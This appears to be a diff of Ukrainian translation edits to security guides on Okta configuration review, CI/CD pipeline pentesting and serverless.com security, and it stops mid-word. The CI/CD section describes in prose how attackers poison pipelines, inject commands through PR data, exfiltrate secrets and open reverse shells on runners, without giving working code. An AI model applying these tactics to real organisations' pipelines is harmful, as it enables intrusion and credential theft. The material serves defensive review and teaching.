@@ -87,13 +87,13 @@ ### General -- **Електронні листи сповіщень про безпеку**: Усі повинні бути увімкнені. +- **Електронні листи з повідомленнями про безпеку**: Усі повинні бути увімкнені. - **Інтеграція CAPTCHA**: Рекомендується встановити принаймні невидимий reCaptcha -- **Безпека організації**: Усе може бути увімкнено, а електронні листи активації не повинні затримуватися (7 днів - це нормально) +- **Безпека організації**: Усе може бути увімкнено, а електронні листи активації не повинні затримуватися довго (7 днів - це нормально) - **Запобігання перерахуванню користувачів**: Обидва повинні бути увімкнені - Зверніть увагу, що запобігання перерахуванню користувачів не діє, якщо дозволено будь-яку з наступних умов (Див. [Управління користувачами](https://help.okta.com/oie/en-us/Content/Topics/users-groups-profiles/usgp-main.htm) для отримання додаткової інформації): -- Самостійна реєстрація -- JIT потоки з автентифікацією електронною поштою +- Самообслуговування реєстрації +- JIT потоки з електронною аутентифікацією - **Налаштування Okta ThreatInsight**: Логувати та забезпечувати безпеку на основі рівня загрози ### HealthInsight @@ -102,7 +102,7 @@ ### Authenticators -Тут ви можете знайти всі методи автентифікації, які може використовувати користувач: Пароль, телефон, електронна пошта, код, WebAuthn... Натискаючи на автентифікатор пароля, ви можете побачити **політику паролів**. Переконайтеся, що вона сильна. +Тут ви можете знайти всі методи аутентифікації, які може використовувати користувач: Пароль, телефон, електронна пошта, код, WebAuthn... Натискаючи на аутентифікатор пароля, ви можете побачити **політику паролів**. Перевірте, щоб вона була сильною. На вкладці **Enrollment** ви можете побачити, які з них є обов'язковими або необов'язковими: @@ -112,7 +112,7 @@ ### Authentication policies -Кожен додаток має політику автентифікації. Політика автентифікації перевіряє, що користувачі, які намагаються увійти в додаток, відповідають певним умовам, і забезпечує вимоги до факторів на основі цих умов. +Кожен додаток має політику аутентифікації. Політика аутентифікації перевіряє, що користувачі, які намагаються увійти в додаток, відповідають певним умовам, і забезпечує вимоги до факторів на основі цих умов. Тут ви можете знайти **вимоги для доступу до кожного додатка**. Рекомендується вимагати принаймні пароль та інший метод для кожного додатка. Але якщо ви, як атакуючий, знайдете щось більш слабке, ви можете спробувати атакувати його. @@ -126,15 +126,15 @@ ### Identity Providers -Постачальники ідентичності (IdP) - це служби, які **керують обліковими записами користувачів**. Додавання IdP в Okta дозволяє вашим кінцевим користувачам **самостійно реєструватися** з вашими власними додатками, спочатку автентифікуючись за допомогою соціального облікового запису або смарт-карти. +Постачальники ідентичності (IdPs) - це служби, які **керують обліковими записами користувачів**. Додавання IdPs в Okta дозволяє вашим кінцевим користувачам **самостійно реєструватися** з вашими власними додатками, спочатку аутентифікуючись за допомогою соціального облікового запису або смарт-карти. -На сторінці постачальників ідентичності ви можете додати соціальні входи (IdP) та налаштувати Okta як постачальника послуг (SP), додавши вхідний SAML. Після того, як ви додали IdP, ви можете налаштувати правила маршрутизації, щоб направляти користувачів до IdP на основі контексту, такого як місцезнаходження користувача, пристрій або домен електронної пошти. +На сторінці постачальників ідентичності ви можете додати соціальні входи (IdPs) та налаштувати Okta як постачальника послуг (SP), додавши вхідний SAML. Після того, як ви додали IdPs, ви можете налаштувати правила маршрутизації, щоб направляти користувачів до IdP на основі контексту, такого як місцезнаходження користувача, пристрій або домен електронної пошти. **Якщо будь-який постачальник ідентичності налаштований** з точки зору атакуючого та захисника, перевірте цю конфігурацію та **чи є джерело дійсно надійним**, оскільки атакуючий, що компрометує його, також може отримати доступ до середовища Okta. ### Delegated Authentication -Делегована автентифікація дозволяє користувачам входити в Okta, вводячи облікові дані для **Active Directory (AD) або LDAP** сервера своєї організації. +Делегована аутентифікація дозволяє користувачам входити в Okta, вводячи облікові дані для сервера **Active Directory (AD) або LDAP** своєї організації. Знову ж таки, перевірте це, оскільки атакуючий, що компрометує AD організації, може мати можливість перейти до Okta завдяки цій настройці. @@ -142,21 +142,21 @@ Мережева зона - це налаштовувана межа, яку ви можете використовувати для **надання або обмеження доступу до комп'ютерів і пристроїв** у вашій організації на основі **IP-адреси**, яка запитує доступ. Ви можете визначити мережеву зону, вказавши одну або кілька окремих IP-адрес, діапазони IP-адрес або географічні місця. -Після того, як ви визначите одну або кілька мережевих зон, ви можете **використовувати їх у глобальних політиках сесій**, **політиках автентифікації**, сповіщеннях VPN та **правилах маршрутизації**. +Після того, як ви визначите одну або кілька мережевих зон, ви можете **використовувати їх у глобальних політиках сесій**, **політиках аутентифікації**, сповіщеннях VPN та **правилах маршрутизації**. З точки зору атакуючого цікаво знати, які IP дозволені (і перевірити, чи є якісь **IP більш привілейованими** за інших). З точки зору атакуючого, якщо користувачі повинні отримувати доступ з певної IP-адреси або регіону, перевірте, чи правильно використовується ця функція. ### Device Integrations -- **Управління кінцевими точками**: Управління кінцевими точками - це умова, яка може бути застосована в політиці автентифікації, щоб забезпечити доступ до додатка для керованих пристроїв. +- **Управління кінцевими точками**: Управління кінцевими точками - це умова, яка може бути застосована в політиці аутентифікації, щоб забезпечити, що керовані пристрої мають доступ до додатка. - Я цього ще не бачив. TODO - **Служби сповіщень**: Я цього ще не бачив. TODO ### API -Ви можете створити токени API Okta на цій сторінці та побачити ті, які були **створені**, їх **привілеї**, **час закінчення** та **URL-адреси джерела**. Зверніть увагу, що токени API генеруються з дозволами користувача, який створив токен, і дійсні лише якщо **користувач**, який їх створив, є **активним**. +Ви можете створити токени API Okta на цій сторінці та побачити ті, які були **створені**, їх **привілеї**, **час закінчення** та **URL-адреси джерела**. Зверніть увагу, що токени API генеруються з правами користувача, який створив токен, і дійсні лише якщо **користувач**, який їх створив, є **активним**. -**Довірені джерела** надають доступ до веб-сайтів, якими ви керуєте та яким довіряєте для доступу до вашої організації Okta через API Okta. +**Довірені джерела** надають доступ до веб-сайтів, які ви контролюєте та довіряєте для доступу до вашої організації Okta через API Okta. Не повинно бути багато токенів API, оскільки, якщо їх багато, атакуючий може спробувати отримати до них доступ і використовувати їх. @@ -164,7 +164,7 @@ ### Automations -Автоматизації дозволяють вам створювати автоматизовані дії, які виконуються на основі набору умов тригера, які виникають під час життєвого циклу кінцевих користувачів. +Автоматизації дозволяють створювати автоматизовані дії, які виконуються на основі набору умов тригера, які виникають під час життєвого циклу кінцевих користувачів. Наприклад, умовою може бути "Неактивність користувача в Okta" або "Закінчення терміну дії пароля користувача в Okta", а дією може бути "Надіслати електронний лист користувачу" або "Змінити стан життєвого циклу користувача в Okta". diff --git a/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md b/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md index 647e89868..299c8b612 100644 --- a/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md +++ b/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md @@ -6,7 +6,7 @@ ## VCS -VCS означає **Систему Контролю Версій**, ця система дозволяє розробникам **управляти своїм вихідним кодом**. Найбільш поширеною є **git**, і ви зазвичай знайдете компанії, які використовують його на одній з наступних **платформ**: +VCS означає **Систему Контролю Версій**, ця система дозволяє розробникам **керувати своїм вихідним кодом**. Найбільш поширеною є **git**, і ви зазвичай знайдете компанії, які використовують його на одній з наступних **платформ**: - Github - Gitlab @@ -27,25 +27,25 @@ CI/CD пайплайни дозволяють розробникам **авто Платформи, які містять вихідний код вашого проекту, містять чутливу інформацію, і людям потрібно бути дуже обережними з правами, наданими всередині цієї платформи. Ось деякі поширені проблеми на платформах VCS, які зловмисник може зловживати: -- **Витоки**: Якщо ваш код містить витоки в комітах, і зловмисник може отримати доступ до репозиторію (оскільки він публічний або тому, що у нього є доступ), він може виявити витоки. -- **Доступ**: Якщо зловмисник може **отримати доступ до облікового запису всередині платформи VCS**, він може отримати **більшу видимість і права**. -- **Реєстрація**: Деякі платформи дозволяють зовнішнім користувачам створювати обліковий запис. +- **Leaks**: Якщо ваш код містить витоки в комітах, і зловмисник може отримати доступ до репозиторію (оскільки він є публічним або тому, що у нього є доступ), він може виявити витоки. +- **Access**: Якщо зловмисник може **отримати доступ до облікового запису всередині платформи VCS**, він може отримати **більшу видимість і права**. +- **Register**: Деякі платформи дозволяють зовнішнім користувачам створювати обліковий запис. - **SSO**: Деякі платформи не дозволяють користувачам реєструватися, але дозволяють будь-кому отримати доступ з дійсним SSO (тому зловмисник може використовувати свій обліковий запис github для входу, наприклад). -- **Облікові дані**: Ім'я користувача + пароль, особисті токени, ssh ключі, Oauth токени, куки... є кілька видів токенів, які користувач може вкрасти, щоб отримати доступ до репозиторію. +- **Credentials**: Ім'я користувача + пароль, особисті токени, ssh ключі, Oauth токени, куки... є кілька видів токенів, які користувач може вкрасти, щоб отримати доступ до репозиторію. - **Webhooks**: Платформи VCS дозволяють генерувати вебхуки. Якщо вони **не захищені** невидимими секретами, **зловмисник може зловживати ними**. -- Якщо секрет не встановлений, зловмисник може зловживати вебхуком третьої сторони. +- Якщо секрету немає, зловмисник може зловживати вебхуком третьої сторони. - Якщо секрет у URL, те ж саме відбувається, і зловмисник також має секрет. -- **Компрометація коду:** Якщо зловмисник має якийсь вид **доступу на запис** до репозиторіїв, він може спробувати **впровадити шкідливий код**. Щоб досягти успіху, йому може знадобитися **обійти захист гілок**. Ці дії можуть бути виконані з різними цілями на увазі: -- Компрометація основної гілки для **компрометації виробництва**. -- Компрометація основної (або інших гілок) для **компрометації машин розробників** (оскільки вони зазвичай виконують тести, terraform або інші речі всередині репозиторію на своїх машинах). -- **Компрометація пайплайна** (перевірте наступний розділ). +- **Code compromise:** Якщо зловмисник має якийсь вид **доступу на запис** до репозиторіїв, він може спробувати **впровадити шкідливий код**. Щоб досягти успіху, йому може знадобитися **обійти захист гілок**. Ці дії можуть бути виконані з різними цілями на увазі: +- Скомпрометувати основну гілку, щоб **скомпрометувати виробництво**. +- Скомпрометувати основну (або інші гілки), щоб **скомпрометувати машини розробників** (оскільки вони зазвичай виконують тести, terraform або інші речі всередині репозиторію на своїх машинах). +- **Скомпрометувати пайплайн** (перевірте наступний розділ). ## Pipelines Pentesting Methodology Найпоширеніший спосіб визначити пайплайн - це використання **файлу конфігурації CI, розміщеного в репозиторії**, який будує пайплайн. Цей файл описує порядок виконуваних завдань, умови, які впливають на потік, і налаштування середовища збірки.\ Ці файли зазвичай мають послідовну назву та формат, наприклад — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI) та YAML файли GitHub Actions, розташовані під .github/workflows. Коли пайплайн ініціюється, завдання пайплайна **витягує код** з вибраного джерела (наприклад, коміт / гілка) і **виконує команди, зазначені у файлі конфігурації CI** проти цього коду. -Отже, остаточна мета зловмисника полягає в тому, щоб якимось чином **компрометувати ці файли конфігурації** або **команди, які вони виконують**. +Отже, остаточною метою зловмисника є якимось чином **скомпрометувати ці файли конфігурації** або **команди, які вони виконують**. ### PPE - Poisoned Pipeline Execution @@ -60,8 +60,8 @@ CI/CD пайплайни дозволяють розробникам **авто Існує 3 варіанти PPE: -- **D-PPE**: Атака **Прямого PPE** відбувається, коли зловмисник **змінює файл конфігурації CI**, який буде виконано. -- **I-DDE**: Атака **Непрямого PPE** відбувається, коли зловмисник **змінює** **файл**, на який **покладається** файл конфігурації CI, що буде виконано (наприклад, make файл або конфігурацію terraform). +- **D-PPE**: Атака **Direct PPE** відбувається, коли зловмисник **змінює файл конфігурації CI**, який буде виконано. +- **I-DDE**: Атака **Indirect PPE** відбувається, коли зловмисник **змінює** **файл**, на який **посилається** файл конфігурації CI, що буде виконано (наприклад, файл make або конфігурацію terraform). - **Public PPE або 3PE**: У деяких випадках пайплайни можуть бути **ініційовані користувачами, які не мають доступу на запис у репозиторії** (і які можуть навіть не бути частиною організації), оскільки вони можуть надіслати PR. - **3PE Command Injection**: Зазвичай CI/CD пайплайни **встановлюють змінні середовища** з **інформацією про PR**. Якщо це значення може контролюватися зловмисником (наприклад, заголовок PR) і **використовується** в **небезпечному місці** (наприклад, виконуючи **sh команди**), зловмисник може **впроваджувати команди туди**. @@ -69,33 +69,33 @@ CI/CD пайплайни дозволяють розробникам **авто Знаючи 3 варіанти отруєння пайплайна, давайте перевіримо, що зловмисник може отримати після успішної експлуатації: -- **Секрети**: Як вже згадувалося раніше, пайплайни вимагають **привілеїв** для своїх завдань (отримання коду, його збірка, розгортання...) і ці привілеї зазвичай **надаються в секретах**. Ці секрети зазвичай доступні через **змінні середовища або файли всередині системи**. Тому зловмисник завжди намагатиметься ексфільтрувати якомога більше секретів. +- **Secrets**: Як вже згадувалося раніше, пайплайни вимагають **привілеїв** для своїх завдань (отримання коду, його збірка, розгортання...) і ці привілеї зазвичай **надаються в секретах**. Ці секрети зазвичай доступні через **змінні середовища або файли всередині системи**. Тому зловмисник завжди намагатиметься ексфільтрувати якомога більше секретів. - Залежно від платформи пайплайна зловмисник **може знадобитися вказати секрети в конфігурації**. Це означає, що якщо зловмисник не може змінити конфігурацію CI пайплайна (**I-PPE**, наприклад), він може **лише ексфільтрувати секрети, які має цей пайплайн**. -- **Обчислення**: Код виконується десь, залежно від того, де він виконується, зловмисник може мати можливість подальшого переміщення. -- **On-Premises**: Якщо пайплайни виконуються на місці, зловмисник може опинитися в **внутрішній мережі з доступом до більше ресурсів**. -- **Cloud**: Зловмисник може отримати доступ до **інших машин у хмарі**, але також може **ексфільтрувати** токени IAM ролей/облікових записів **з нього**, щоб отримати **додатковий доступ всередині хмари**. -- **Платформи машини**: Іноді завдання виконуються всередині **машин платформи пайплайнів**, які зазвичай знаходяться в хмарі з **без додаткового доступу**. -- **Вибрати це:** Іноді **платформа пайплайнів має налаштовані кілька машин**, і якщо ви можете **змінити файл конфігурації CI**, ви можете **вказати, де хочете виконати шкідливий код**. У цій ситуації зловмисник, ймовірно, запустить зворотний шелл на кожній можливій машині, щоб спробувати експлуатувати її далі. -- **Компрометація виробництва**: Якщо ви знаходитесь всередині пайплайна, і фінальна версія будується та розгортається з нього, ви можете **компрометувати код, який буде виконуватися в виробництві**. +- **Computation**: Код виконується десь, залежно від того, де він виконується, зловмисник може мати можливість подальшого переміщення. +- **On-Premises**: Якщо пайплайни виконуються на місці, зловмисник може опинитися в **внутрішній мережі з доступом до більшої кількості ресурсів**. +- **Cloud**: Зловмисник може отримати доступ до **інших машин у хмарі**, але також може **ексфільтрувати** токени IAM ролей/облікових записів **для отримання подальшого доступу всередині хмари**. +- **Platforms machine**: Іноді завдання виконуються всередині **машин платформи пайплайнів**, які зазвичай знаходяться в хмарі з **без додаткового доступу**. +- **Select it:** Іноді **платформа пайплайнів має налаштовані кілька машин**, і якщо ви можете **змінити файл конфігурації CI**, ви можете **вказати, де хочете виконати шкідливий код**. У цій ситуації зловмисник, ймовірно, запустить зворотний шелл на кожній можливій машині, щоб спробувати подальше експлуатувати її. +- **Compromise production**: Якщо ви знаходитесь всередині пайплайна, і фінальна версія будується та розгортається з нього, ви можете **скомпрометувати код, який буде виконуватися в виробництві**. ## More relevant info ### Tools & CIS Benchmark -- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) є інструментом з відкритим кодом для аудиту вашого стеку постачання програмного забезпечення на предмет відповідності безпеці на основі нового [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf). Аудит зосереджується на всьому процесі SDLC, де він може виявити ризики від часу коду до часу розгортання. +- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) - це інструмент з відкритим кодом для аудиту вашого стеку постачання програмного забезпечення на предмет відповідності безпеці на основі нового [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf). Аудит зосереджується на всьому процесі SDLC, де він може виявити ризики від часу коду до часу розгортання. ### Top 10 CI/CD Security Risk -Перевірте цю цікаву статтю про топ 10 ризиків CI/CD відповідно до Cider: [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/) +Перегляньте цю цікаву статтю про топ-10 ризиків CI/CD відповідно до Cider: [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/) ### Labs -- На кожній платформі, яку ви можете запустити локально, ви знайдете, як запустити її локально, щоб ви могли налаштувати її так, як вам потрібно, щоб протестувати. +- На кожній платформі, яку ви можете запустити локально, ви знайдете, як запустити її локально, щоб ви могли налаштувати її на свій розсуд для тестування. - Лабораторія Gitea + Jenkins: [https://github.com/cider-security-research/cicd-goat](https://github.com/cider-security-research/cicd-goat) ### Automatic Tools -- [**Checkov**](https://github.com/bridgecrewio/checkov): **Checkov** є інструментом статичного аналізу коду для інфраструктури як коду. +- [**Checkov**](https://github.com/bridgecrewio/checkov): **Checkov** - це інструмент статичного аналізу коду для інфраструктури як коду. ## References diff --git a/src/pentesting-ci-cd/serverless.com-security.md b/src/pentesting-ci-cd/serverless.com-security.md index d9ef481ed..8709ea746 100644 --- a/src/pentesting-ci-cd/serverless.com-security.md +++ b/src/pentesting-ci-cd/serverless.com-security.md @@ -2,23 +2,23 @@ {{#include ../banners/hacktricks-training.md}} -## Basic Information +## Основна інформація -### Organization +### Організація -**Організація** - це найвищий рівень сутності в екосистемі Serverless Framework. Вона представляє **колективну групу**, таку як компанія, відділ або будь-яка велика сутність, яка охоплює кілька проектів, команд і додатків. +**Організація** є найвищим рівнем сутності в екосистемі Serverless Framework. Вона представляє **колективну групу**, таку як компанія, відділ або будь-яка велика сутність, яка охоплює кілька проектів, команд і додатків. -### Team +### Команда **Команда** - це користувачі з доступом всередині організації. Команди допомагають організувати учасників на основі ролей. **`Співпрацівники`** можуть переглядати та розгортати існуючі додатки, тоді як **`Адміністратори`** можуть створювати нові додатки та керувати налаштуваннями організації. -### Application +### Додаток **Додаток** - це логічна група пов'язаних сервісів в організації. Він представляє собою повний додаток, що складається з кількох безсерверних сервісів, які працюють разом для забезпечення єдиної функціональності. -### **Services** +### **Сервіси** -**Сервіс** - це основний компонент безсерверного додатку. Він представляє ваш весь безсерверний проект, інкапсулюючи всі функції, конфігурації та ресурси, які потрібні. Зазвичай він визначається у файлі `serverless.yml`, сервіс включає метадані, такі як назва сервісу, конфігурації постачальника, функції, події, ресурси, плагіни та користувацькі змінні. +**Сервіс** є основним компонентом безсерверного додатку. Він представляє ваш весь безсерверний проект, інкапсулюючи всі функції, конфігурації та ресурси, які потрібні. Зазвичай він визначається у файлі `serverless.yml`, сервіс включає метадані, такі як назва сервісу, конфігурації постачальника, функції, події, ресурси, плагіни та користувацькі змінні. ```yaml service: my-service provider: @@ -72,7 +72,7 @@ rate: rate(10 minutes) **Ресурси** дозволяють вам визначити додаткові хмарні ресурси, від яких залежить ваша служба, такі як бази даних, сховища або ролі IAM. -Вони вказуються в секції `resources`, часто використовуючи синтаксис CloudFormation для AWS. +Вони вказуються в розділі `resources`, часто використовуючи синтаксис CloudFormation для AWS. ```yaml resources: Resources: @@ -117,7 +117,7 @@ stage: dev provider: stage: dev ``` -Регіон вказує географічний регіон, де будуть розгорнуті ваші ресурси. Це важливо для затримки, відповідності та доступності. +Регіон вказує географічний регіон, де будуть розгорнуті ваші ресурси. Це важливо для розгляду затримки, відповідності та доступності. ```yaml provider: region: us-west-2 @@ -140,7 +140,7 @@ plugins: Шари -**Шари** дозволяють вам упакувати та керувати спільним кодом або залежностями окремо від ваших функцій. Це сприяє повторному використанню та зменшує розміри пакетів розгортання. Вони визначаються в секції `layers` і посилаються на функції. +**Шари** дозволяють вам упакувати та керувати спільним кодом або залежностями окремо від ваших функцій. Це сприяє повторному використанню та зменшує розміри пакетів розгортання. Вони визначені в секції `layers` і посилаються на функції. ```yaml layers: commonLibs: @@ -202,9 +202,9 @@ Fn::Join:
-IAM Ролі та Дозволи +Ролі та дозволи IAM -**IAM Ролі та Дозволи** визначають безпекові облікові дані та права доступу для ваших функцій та інших ресурсів. Вони керуються під `provider` або налаштуваннями окремих функцій для визначення необхідних дозволів. +**Ролі та дозволи IAM** визначають облікові дані безпеки та права доступу для ваших функцій та інших ресурсів. Вони керуються в рамках налаштувань `provider` або окремих функцій для визначення необхідних дозволів. ```yaml provider: [...] @@ -226,7 +226,7 @@ Resource: arn:aws:dynamodb:${aws:region}:${aws:accountId}:table/${self:service}- Змінні середовища -**Змінні** дозволяють передавати налаштування конфігурації та секрети вашим функціям без їх жорсткого кодування. Вони визначаються в секції `environment` для постачальника або окремих функцій. +**Змінні** дозволяють передавати налаштування конфігурації та секрети вашим функціям без їх жорсткого кодування. Вони визначені в секції `environment` для постачальника або окремих функцій. ```yaml provider: environment: @@ -284,7 +284,7 @@ serverless #Choose first one (AWS / Node.js / HTTP API) ## Create A New App ## Indicate a name like "tutorialapp) ``` -Це повинно було створити **app** під назвою `tutorialapp`, який ви можете перевірити на [serverless.com](serverless.com-security.md), і папку під назвою `Tutorial` з файлом **`handler.js`**, що містить деякий JS код з кодом `helloworld`, та файлом **`serverless.yml`**, що оголошує цю функцію: +Це повинно було створити **додаток** під назвою `tutorialapp`, який ви можете перевірити на [serverless.com](serverless.com-security.md), а також папку під назвою `Tutorial` з файлом **`handler.js`**, що містить деякий JS код з кодом `helloworld`, і файлом **`serverless.yml`**, що оголошує цю функцію: {{#tabs }} {{#tab name="handler.js" }} @@ -323,7 +323,7 @@ method: get {{#endtab }} {{#endtabs }} -4. Створіть постачальника AWS, перейшовши в **панель управління** за адресою `https://app.serverless.com//settings/providers?providerId=new&provider=aws`. +4. Створіть постачальника AWS, перейшовши в **dashboard** за адресою `https://app.serverless.com//settings/providers?providerId=new&provider=aws`. 1. Щоб надати `serverless.com` доступ до AWS, буде запропоновано запустити стек cloudformation, використовуючи цей конфігураційний файл (на момент написання): [https://serverless-framework-template.s3.amazonaws.com/roleTemplate.yml](https://serverless-framework-template.s3.amazonaws.com/roleTemplate.yml) 2. Цей шаблон генерує роль під назвою **`SFRole-`** з **`arn:aws:iam::aws:policy/AdministratorAccess`** для облікового запису з довірчою ідентичністю, яка дозволяє обліковому запису `Serverless.com` AWS отримати доступ до ролі. @@ -399,7 +399,7 @@ Type: String ```
-5. У навчальному посібнику пропонується створити файл `createCustomer.js`, який в основному створить нову точку доступу API, оброблену новим JS файлом, і пропонується змінити файл `serverless.yml`, щоб він генерував **нову таблицю DynamoDB**, визначав **змінну середовища**, роль, яка буде використовувати згенеровані лямбди. +5. У посібнику пропонується створити файл `createCustomer.js`, який в основному створить нову точку доступу API, оброблювану новим JS файлом, і пропонується змінити файл `serverless.yml`, щоб він генерував **нову таблицю DynamoDB**, визначив **змінну середовища**, роль, яка буде використовувати згенеровані lambdas. {{#tabs }} {{#tab name="createCustomer.js" }} @@ -485,7 +485,7 @@ TableName: ${self:service}-customerTable-${sls:stage} 1. Розгортання буде виконано через CloudFormation Stack 2. Зверніть увагу, що **lambdas доступні через API gateway** і не через прямі URL 7. **Протестуйте це** -1. Попередній крок виведе **URLs**, де ваші API endpoints lambda функції були розгорнуті +1. Попередній крок виведе **URLs**, де ваші функції lambda API endpoints були розгорнуті ## Огляд безпеки Serverless.com @@ -553,10 +553,10 @@ Resource: arn:aws:dynamodb:${aws:region}:${aws:accountId}:table/${self:service}- Зберігання чутливої інформації (наприклад, API ключів, облікових даних бази даних) безпосередньо в **`serverless.yml`** або коді може призвести до витоку, якщо репозиторії будуть скомпрометовані. -**Рекомендований** спосіб зберігання змінних середовища у файлі **`serverless.yml`** від serverless.com (на момент написання цього тексту) - це використання постачальників `ssm` або `s3`, які дозволяють отримувати **значення середовища з цих джерел під час розгортання** та **конфігурувати** змінні середовища **lambdas** з **текстом без значень**! +**Рекомендований** спосіб зберігання змінних середовища у файлі **`serverless.yml`** з serverless.com (на момент написання цього матеріалу) - використовувати постачальників `ssm` або `s3`, що дозволяє отримувати **значення середовища з цих джерел під час розгортання** та **конфігурувати** змінні середовища **lambdas** з **текстом без значень**! > [!CAUTION] -> Тому будь-хто з дозволами на читання конфігурації lambdas в AWS зможе **отримати доступ до всіх цих змінних середовища у відкритому тексті!** +> Тому будь-хто з дозволами на читання конфігурації lambdas всередині AWS зможе **отримати доступ до всіх цих змінних середовища у відкритому тексті!** Наприклад, наступний приклад використовуватиме SSM для отримання змінної середовища: ```yaml @@ -564,26 +564,26 @@ provider: environment: DB_PASSWORD: ${ssm:/aws/reference/secretsmanager/my-db-password~true} ``` -And even if this prevents hardcoding the environment variable value in the **`serverless.yml`** file, the value will be obtained at deployment time and will be **додано у відкритому тексті всередині змінної середовища lambda**. +І навіть якщо це запобігає жорсткому кодуванню значення змінної середовища у файлі **`serverless.yml`**, значення буде отримано під час розгортання і буде **додано у відкритому тексті всередині змінної середовища lambda**. > [!TIP] -> The recommended way to store environment variables using serveless.com would be to **зберігати його в AWS secret** and just store the secret name in the environment variable and the **код lambda повинен його зібрати**. +> Рекомендований спосіб зберігання змінних середовища за допомогою serveless.com - це **зберігати їх у секреті AWS** і просто зберігати ім'я секрету у змінній середовища, а **код lambda повинен його зібрати**. -#### **Mitigation Strategies** +#### **Стратегії пом'якшення** -- **Secrets Manager Integration:** Use services like **AWS Secrets Manager.** -- **Encrypted Variables:** Leverage Serverless Framework’s encryption features for sensitive data. -- **Access Controls:** Restrict access to secrets based on roles. +- **Інтеграція з Secrets Manager:** Використовуйте сервіси, такі як **AWS Secrets Manager.** +- **Зашифровані змінні:** Використовуйте функції шифрування Serverless Framework для чутливих даних. +- **Контроль доступу:** Обмежте доступ до секретів на основі ролей. --- -### **Vulnerable Code and Dependencies** +### **Вразливий код і залежності** -Outdated or insecure dependencies can introduce vulnerabilities, while improper input handling may lead to code injection attacks. +Застарілі або небезпечні залежності можуть вводити вразливості, тоді як неналежна обробка введення може призвести до атак ін'єкції коду. -#### **Mitigation Strategies** +#### **Стратегії пом'якшення** -- **Dependency Management:** Regularly update dependencies and scan for vulnerabilities. +- **Управління залежностями:** Регулярно оновлюйте залежності та скануйте на вразливості. ```yaml plugins: @@ -591,38 +591,38 @@ plugins: - serverless-plugin-snyk ``` -- **Input Validation:** Implement strict validation and sanitization of all inputs. -- **Code Reviews:** Conduct thorough reviews to identify security flaws. -- **Static Analysis:** Use tools to detect vulnerabilities in the codebase. +- **Валідація введення:** Реалізуйте сувору валідацію та санітизацію всіх введень. +- **Огляди коду:** Проводьте ретельні огляди для виявлення недоліків безпеки. +- **Статичний аналіз:** Використовуйте інструменти для виявлення вразливостей у кодовій базі. --- -### **Inadequate Logging and Monitoring** +### **Недостатнє ведення журналів і моніторинг** -Without proper logging and monitoring, malicious activities may go undetected, delaying incident response. +Без належного ведення журналів і моніторингу злочинні дії можуть залишитися непоміченими, затримуючи реагування на інциденти. -#### **Mitigation Strategies** +#### **Стратегії пом'якшення** -- **Centralized Logging:** Aggregate logs using services like **AWS CloudWatch** or **Datadog**. +- **Централізоване ведення журналів:** Агрегуйте журнали, використовуючи сервіси, такі як **AWS CloudWatch** або **Datadog**. ```yaml plugins: - serverless-plugin-datadog ``` -- **Enable Detailed Logging:** Capture essential information without exposing sensitive data. -- **Set Up Alerts:** Configure alerts for suspicious activities or anomalies. -- **Regular Monitoring:** Continuously monitor logs and metrics for potential security incidents. +- **Увімкніть детальне ведення журналів:** Захоплюйте важливу інформацію, не розкриваючи чутливі дані. +- **Налаштуйте сповіщення:** Налаштуйте сповіщення для підозрілих дій або аномалій. +- **Регулярний моніторинг:** Постійно моніторте журнали та метрики на предмет потенційних інцидентів безпеки. --- -### **Insecure API Gateway Configurations** +### **Небезпечні конфігурації API Gateway** -Open or improperly secured APIs can be exploited for unauthorized access, Denial of Service (DoS) attacks, or cross-site attacks. +Відкриті або неналежно захищені API можуть бути використані для несанкціонованого доступу, атак відмови в обслуговуванні (DoS) або атак між сайтами. -#### **Mitigation Strategies** +#### **Стратегії пом'якшення** -- **Authentication and Authorization:** Implement robust mechanisms like OAuth, API keys, or JWT. +- **Аутентифікація та авторизація:** Реалізуйте надійні механізми, такі як OAuth, API ключі або JWT. ```yaml functions: @@ -635,7 +635,7 @@ method: get authorizer: aws_iam ``` -- **Rate Limiting and Throttling:** Prevent abuse by limiting request rates. +- **Обмеження швидкості та обмеження запитів:** Запобігайте зловживанням, обмежуючи швидкість запитів. ```yaml provider: @@ -645,7 +645,7 @@ burstLimit: 200 rateLimit: 100 ``` -- **Secure CORS Configuration:** Restrict allowed origins, methods, and headers. +- **Безпечна конфігурація CORS:** Обмежте дозволені джерела, методи та заголовки. ```yaml functions: @@ -661,19 +661,19 @@ headers: - Content-Type ``` -- **Use Web Application Firewalls (WAF):** Filter and monitor HTTP requests for malicious patterns. +- **Використовуйте веб-додатки брандмауерів (WAF):** Фільтруйте та моніторте HTTP запити на наявність шкідливих шаблонів. --- -### **Insufficient Function Isolation** +### **Недостатня ізоляція функцій** -Shared resources and inadequate isolation can lead to privilege escalations or unintended interactions between functions. +Спільні ресурси та недостатня ізоляція можуть призвести до ескалації привілеїв або ненавмисних взаємодій між функціями. -#### **Mitigation Strategies** +#### **Стратегії пом'якшення** -- **Isolate Functions:** Assign distinct resources and IAM roles to ensure independent operation. -- **Resource Partitioning:** Use separate databases or storage buckets for different functions. -- **Use VPCs:** Deploy functions within Virtual Private Clouds for enhanced network isolation. +- **Ізолюйте функції:** Призначте окремі ресурси та ролі IAM для забезпечення незалежної роботи. +- **Розподіл ресурсів:** Використовуйте окремі бази даних або сховища для різних функцій. +- **Використовуйте VPC:** Розгорніть функції в межах віртуальних приватних хмар для покращеної мережевої ізоляції. ```yaml provider: @@ -684,17 +684,17 @@ subnetIds: - subnet-xxxxxx ``` -- **Limit Function Permissions:** Ensure functions cannot access or interfere with each other’s resources unless explicitly required. +- **Обмежте дозволи функцій:** Переконайтеся, що функції не можуть отримати доступ або заважати ресурсам один одного, якщо це не є явно необхідним. --- -### **Inadequate Data Protection** +### **Недостатній захист даних** -Unencrypted data at rest or in transit can be exposed, leading to data breaches or tampering. +Незашифровані 